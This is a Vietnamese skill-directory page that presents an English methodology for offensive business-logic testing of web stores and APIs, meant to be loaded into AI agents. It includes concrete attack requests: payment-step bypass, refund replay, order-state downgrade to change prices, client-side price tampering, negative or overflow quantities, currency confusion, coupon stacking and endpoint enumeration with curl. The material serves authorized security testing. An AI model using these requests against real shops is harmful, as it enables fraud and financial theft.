offensive-business-logic
Skill này làm gì
Skill này là phương pháp tìm lỗi logic nghiệp vụ trong ứng dụng web, di động và API. Nó bao quát bỏ qua quy trình, thao túng giá và giảm giá, lạm dụng hoàn tiền và giới hạn vai trò. Nó dành cho chuyên gia bảo mật kiểm thử ứng dụng khi có sự cho phép.
Khi nào nên dùng
- ✓Khi bạn kiểm thử luồng thanh toán, hoàn tiền hoặc mã giảm giá trong một bài kiểm thử ứng dụng được ủy quyền.
- ✓Khi bạn muốn kiểm tra xem người dùng có thể bỏ qua một bước bắt buộc trong quy trình nhiều bước hay không.
- ✓Khi bạn cần đo tác động tài chính của một lỗi logic cho báo cáo.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-business-logic/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi được ủy quyền kiểm thử cửa hàng của mình. Kiểm tra xem luồng mã giảm giá và hoàn tiền có thể bị lạm dụng không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill lập bản đồ từng luồng nhiều bước dưới dạng các trạng thái và chuyển tiếp. Sau đó nó kiểm tra từng bước về việc ai có thể chạy, ở trạng thái nào và bao nhiêu lần, rồi kết hợp các lỗi thành chuỗi ở những chỗ quan trọng nhất.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Business Logic — Offensive Testing Methodology
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Quick Workflow
- Map every multi-step flow as a state machine (states + allowed transitions + side effects)
- For each transition, ask: who can call it, in what state, with what inputs, how many times
- Probe each axis (state, identity, input, frequency) for assumptions
- Combine flaws — single-axis flaws are usually low severity; chains are critical
- Quantify financial impact per finding (loss-per-attack × scale)
Reconnaissance — Mapping the Logic
Build the State Machine
For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook
Look for transitions that:
- Skip intermediate states (
cart→shippedwithoutpaid) - Are reversible when they shouldn't be (
shipped→cart) - Trigger side effects more than once
- Allow cross-role invocation
Hidden / Internal Endpoints
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
Workflow / State-Machine Bypass
Skip a Required Step
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
Replay a One-Time Action
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
State Downgrade
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Direct Endpoint Invocation
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
Price / Quantity / Currency Manipulation
Negative / Zero / Float Quantities
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
Hidden Price Fields
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
Currency Confusion
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
Coupon / Discount Logic
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity
Câu hỏi thường gặp
Vì sao các lỗi này khó tìm bằng công cụ quét?
Skill giải thích rằng chúng phụ thuộc vào cách quy trình của ứng dụng được thiết kế để chạy, điều mà công cụ quét không hiểu.
Nó có đo tác động không?
Có. Nó đề xuất định lượng tác động tài chính của từng phát hiện.
Đây có chỉ dành cho kiểm thử được ủy quyền không?
Có. Skill được viết cho việc kiểm thử có văn bản cho phép.
Chi tiết
Mô tả gốc của tác giả
Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-comm
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11975
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-api-security
10kChạy kiểm thử bảo mật được ủy quyền trên API REST, gRPC và WebSocket, dựa trên OWASP API Top 10.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.